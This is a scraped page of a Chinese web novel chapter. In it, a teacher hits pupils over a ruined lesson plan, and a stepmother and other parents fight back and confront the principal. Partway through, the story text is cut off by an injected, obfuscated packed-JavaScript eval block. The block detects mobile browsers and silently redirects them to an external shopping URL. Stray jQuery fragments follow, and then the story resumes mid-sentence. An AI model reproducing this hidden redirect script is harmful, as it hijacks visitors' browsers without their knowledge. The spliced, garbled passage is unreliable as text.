文趣网 > 其他小说 > 年代文后娘是心软的神 > 13. 穿成年代文恶毒继母
    章老师昨天问了一上午,没人看到有谁碰她教案。

    本来厕所这种公共地方,一下课,学生老师都来来往往,时间又短,匆匆忙忙,水池边什么时候放了本教案都没几人注意。

    章老师却不死心,她太生气了。那语文教案可是她一整个学期应付教学检查、备课都要用的,就这么给人毁了,一定不能就这么算了!

    她回去想了一晚上,越琢磨越觉得除了班上那几个坏学生还能有谁,找来班长一问,果然昨天语文课下了课,那几个刺头都跟着她前后脚跑出了教室,心里就更认定了。

    第二天一早,她眼里带着血丝、阴沉着脸走进教室。

    “啪”地一声,一本泡的皱巴巴的教案重重甩在讲台上。

    “朱培杰、周浩、胡晓宇、蒋明明你们四个给我站前面来!”

    几个男孩一脸懵地站上去,班主任一直都叫他们站后面听语文课,现在都到了让他们在跟前罚站的地步了?

    “昨天第一节课课间你们在哪?”章秋实紧盯着他们问。

    面对班主任不同往常的怒火,几个孩子忍不住有点露怯,过了会儿胖乎乎的蒋明明老实说道。

    “我们下课去水沟那玩弹珠了。”

    水沟在操场最角落,早都荒废了,平时没什么人去,就他们四个瞎跑发现这地方适合打弹珠,下课一有时间就喜欢往那边跑。

    章老师冷冷质问:“谁能给你们证明?”

    蒋明明一愣,这要证明什么,一时间没答上来。

    其实,还真有人看到他们去操场了。但班主任今天样子太吓人了,且她平时不准好学生帮坏学生说话,一时间就没人敢站出来作证,教室里一下子鸦雀无声。

    见此情况,章老师心里更加认定他们在撒谎。

    “年纪不大,扯起谎来一套一套的。”她冷笑道:“是觉得我猜不到你们捣鬼是吗?”

    几个男孩云里雾里,不知道她在说什么。

    她严厉的目光扫过他们,“胆子挺大啊,女厕所都敢进。”

    周浩、蒋明明和胡晓宇顿时抬起头,惊慌摆手:“老师我们没有!”

    还狡辩!章老师眼中火起,拿起桌上半干的教案朝着三人头上一人狠抽了一下,边抽边骂,“没有!没有!没有!”

    “没有它能长翅膀自己飞到臭水桶里?!”

    老师的教案本就厚实,还是半湿的就更带上分量,哪怕一人被抽一下头顶都生疼,蒋明明躲了一下没躲过,被抽到侧脸,耳门前立刻就通红一片。

    朱培杰愤怒地站出来拦在他们身前,想起江妩的话,他捏紧拳头大叫道:

    “你凭什么打人!”

    娘说过,打人是不对的,哪怕老师也没有资格打学生!

    “凭什么?凭你们欠收拾。”章老师冷笑起来,“你们来学校就是服老师管的,不听话打死都不冤,有一个算一个。”

    她揪着朱培杰的耳朵,厌恶的目光盯在他脸上,“我昨天刚不让你上语文课,你转头就带人把我教案扔了,本事挺大啊。”

    朱培杰耿着脖子大吼:“你哪只眼睛看到是我扔的!”

    章老师气极反笑;“好好好,你不认。”她拿起桌上的三角板,“我看看打过手之后你还有没有这么嘴硬。”

    “你爹妈不教,我今天就代他们教教你……”

    “你想代我教什么?”猝不及防,一道冷语从门口响起。

    江妩抱着手臂,视线夹杂着冰碴子锁定在举着板子的人身上,章老师手一下僵在半空中,怎么都挥不下去。

    江妩身后几个家长同样脸色很难看。

    “妈!”

    “爸!”

    “奶奶!”

    几道声音不约而同地响起,孩子们像是看到主心骨一样哭着奔向自己家长的怀抱。

    江妩走进教室,站到朱培杰身边摸了摸他的脑袋。小儿子回头看见是她,憋了多时的眼泪啪嗒一下掉出眼眶。

    他其实也害怕,但他知道娘一定会来的。

    “章老师,你身为人民教师,平时就是这样打骂学生的?”江妩冷冷道。

    其他几个家长也走进来逼视着对方。

    章秋实一时压力山大,脸上有点心虚。

    “谁打骂了?”她趾高气扬地狡辩,“他们几个不服管,闯女厕所,还作弄班主任,我只是小惩……”

    啪地一声——

    猝不及防的,江妩抓起讲台上那本厚重的教案,反手往她脸上扔去。

    她使了暗劲,那书脊刚好砸对方鼻梁上,一下撞出淤青。

    章秋实不敢置信地呆在原地,怎么也想不到朱培杰后娘敢在班级里对班主任动手。

    “你敢打老师!”她瞪大眼怒吼道,话刚落,两道温热就顺着鼻孔淌下来。

    章秋实头发散乱,再没有几分钟前打学生的耀武扬威。

    江妩冷冷道:“你刚才打学生的时候不是也这样打的?”

    闻言,反应过来的章老师神情癫狂,就要往江妩身上扑,被蒋明明妈妈眼疾手快一把抱住。

    头发花白的周浩他奶怕两个年轻妈妈吃亏,把桌上的三角尺摸走了,转头笑眯眯地开始赶人,“小孩子别看,都出去玩去。”

    眨眼间,3班学生全都一窝蜂地涌出教室,但都没走远,全趴在窗外看热闹。

    蒋明明和朱培杰最后出来还把门带上了。

    胡晓宇他爸在一边冷哼,“你看看,平时你对孩子作威作福,现在你被打有没有人肯帮你。”

    章秋实捂着鼻子转头一看,还真没有。

    窗外贴的一张张小脸上全是隐约的激动,就连平时顺从的那几个好学生对上她的目光都转开了视线。

    江妩看见她转回头脸上没有后悔,反倒越发怨恨,心中警惕,果然她下一秒张嘴就冲着蒋明明妈妈耳朵咬去。

    江妩一个扫腿把她放倒,蒋明明妈倒吸口凉气,不是江妩她估计就要被咬了。气得趁机翻身坐她身上压住她,揪着她头发甩了两巴掌。

    她打着人自己倒先哭了,想起蒋明明以前隔三差五身上淤青,听他说一回自己摔的就没当回事,还以为蒋明明身子笨重,反倒掉过头骂孩子。

    胡晓宇爸爸也是,他种果树往山上一住就是个把月,平日里也没觉得对孩子有多忽视,要不是今天在校门口碰到朱培杰后妈,还不知道儿子在学校被班主任针对。

    周浩奶奶也在一边抹眼泪,大孙子不想她担心,挨欺负也瞒着不告诉她……都是懂事的好孩子,怎么遇到了这么个黑心的坏老师!

    一时间,打人的人家长各个伤心流泪,被打的却在地上尖叫震天。

    叫着叫着,教务处主任和老师赶来了,一看这情况顿时叫人喊门卫拿钥匙开门,不一会校长也过来了。

    见着外面来了领导,几个家长站起来主动把门拉开了。主任一看门居然没锁,一推就开,那这些学生怎么回事,没一个进去帮自己老师,就在外面干看着?

    本来还在叫的章老师听见动静也不嚎了,瘫在地上装死。

    其实她伤的不重,统共也就挨了两巴掌,还是她想咬人挨的,也就是流了鼻血看着吓人。

    校领导走进来,往地上一瞧忍不住皱眉,“这谁打的?”

    人鼻子是自己砸的,虽然当时气极抱着是以牙还牙的意思,但江妩既然做了就不会怕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609244|205869||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    事。

    “是……”

    她刚想说是自己,没想到有个人比她更快一步。

    “老婆子我打的,怎么着吧。”周浩奶奶顶着一头颤颤巍巍的白发站出来道。

    江妩差点被口水呛到,被周奶奶拍了拍手,挤回人群里。

    她佝偻着背一步一挪走到校长面前,指了指地上:“她打我大孙子,我打她,合理吧?”

    校长看着走路都晃悠的老太太,直皱眉:“老人家,你这不是开玩笑吗?你能把人打成这样?”

    教导主任严肃道,“老太太,话可不能乱说,打人犯法,可以追究责任的。”

    “我知道啊。”周奶奶无齿地冲领导笑了笑,“反正人是我打的,你们该抓人抓人,该报警就报警。”

    她朝地上指了指:“她要是今天被打死了,警察来了我给她抵命。”

    教导主任伤脑筋地皱眉,心道你这七老八十的一把老骨头,谁来了还敢动你?

    江妩冷哼;“校长只看到人被打,怎么不问她为什么被打?”

    说到这个,几个家长顿时气愤起来。

    胡晓宇爸爸:“都说是人民的教师,培养祖国的花朵,你们就是这么培养的?有这样的老师在学校,以后谁还敢放心把孩子往这里送!”

    “家长们,确实确实。”面对激动的家长,校长举着双手,一个劲地安抚,“章老师的做法确实不太对,可能教学比较严厉,处罚行为欠妥当,这个确实是学校的倏忽。”

    蒋明明妈妈:“倏忽?一句倏忽就算了?你们老师自己家也有孩子吧?啊?也像这么疏忽对自己家孩子??”

    看着就快要下课了。人越来越多,校长没有办法,只能请几人到校长室去聊。

    办公室里校长给每个人都倒了热茶。态度诚恳了许多。

    “首先,各位家长实在抱歉。学校发生这样的事情确实不应该,不论怎么说,打学生都是不对的,我在这里跟大家道歉。”

    见此,几人怒气稍微平复一点,看他怎么说。

    “但是今天的事情确实给学校造成了不太好的影响……”

    蒋明明妈妈道:“我们不愿闹事,本来就是想讨个说法,老师就能打孩子了吗?凭什么打我们家孩子?我们孩子是送来上学,不是送来上刑的……”

    眼见着这位又要激动起来,校长无奈的叹了口气,“那你们想要怎么处理?”

    蒋明明妈妈左看右看最后看向江妩,江妩接到她的目光,冷静开口道:

    “第一,打人者必须向孩子们道歉,并且保证此类事件不再发生。”

    校长点点头:“这是自然。”

    “第二,要求学校做出相应处罚,暂停章老师职务。”

    校长蹙眉,顿了顿,也勉强接受了。

    “第三,我希望学校能召开家长会,告知所有老师以及家长,借着教育的名义体罚孩子,这种行为是可耻的。”

    听到这校长他看了眼江妩似乎没想到她会提出这么个要求,忍不住坐直身子,表情也严肃了许多。

    “这位家长您考虑得周到,确实这是个严重的问题,我之前为我的轻视向您道歉。”他也是从老师干上来的,从江妩的话中本能地感受到一种教育的责任感。

    更重要的是,教育局最近在做执教意识普及,他意识到这是一个很好的让上面看到的机会。

    “我下午就安排会议,讨论大会的内容,配合做出校内宣传,如果可以的话会联合村镇报刊进行报道,这样也能为更多人知道。”

    虽然不知道他为什么忽然转变了态度,但这个结果江妩是愿意看到的,几个家长都比较满意,就一同点了头。